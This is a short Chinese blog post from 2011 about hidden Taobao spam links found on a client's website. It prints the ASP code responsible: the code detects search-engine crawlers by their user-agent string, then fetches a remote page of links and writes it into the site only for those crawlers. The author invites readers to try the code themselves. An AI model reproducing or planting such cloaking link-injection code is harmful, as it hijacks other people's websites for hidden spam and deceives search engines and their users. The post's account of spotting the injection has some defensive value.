分享一段读取其它网页内容的挂链代码

昨个发现一个客户网站被挂链,十多个都是淘宝的,初次检查没发现,因为在右键源代码中检查不出,但在站长工具中可以查到这些链接,最后看文件才发现可疑的代码,他是将链接写在一个文件里,然后这段代码去读取,其实网站没有降权,所以这段代码是否被搜索引擎抓取还有待考证,大家可以拿去试试。

<%

Function getBody(infopageurl)
On Error Resume Next
if infopageurl<>"" then
dim xmlHttp
set xmlHttp=server.createobject("MSXML2.XMLHTTP")
xmlHttp.open "GET",infopageurl,false
xmlHttp.send
getBody=BytesToBstr(xmlhttp.responsebody,"GB2312")
set xmlHttp=nothing
end if
end Function
Function BytesToBstr(body,Cset)
dim objstream 
set objstream = Server.CreateObject("adodb.stream") 
objstream.Type = 1 
objstream.Mode = 3 
objstream.Open 
objstream.Write body 
objstream.Position = 0 
objstream.Type = 2 
objstream.Charset = Cset 
BytesToBstr = objstream.ReadText 
objstream.Close 
set objstream = nothing
End Function
dns = Request.ServerVariables("SERVER_NAME")
path = Request.ServerVariables("PATH_INFO")
qs = Request.ServerVariables("QUERY_STRING")
url= dns&path&"?"&qs
agent = Request.ServerVariables("HTTP_USER_AGENT")
tz = "http"
if Instr(agent,tz)>0 then
if path ="/index.asp" or path="/default.asp" then
response.write getBody(" 这里放有链接的网址)
else
response.write getBody(" 这里也可以放)
end if
end if
%>

 

最后编辑于:2011/07/23作者: seo站长

发表评论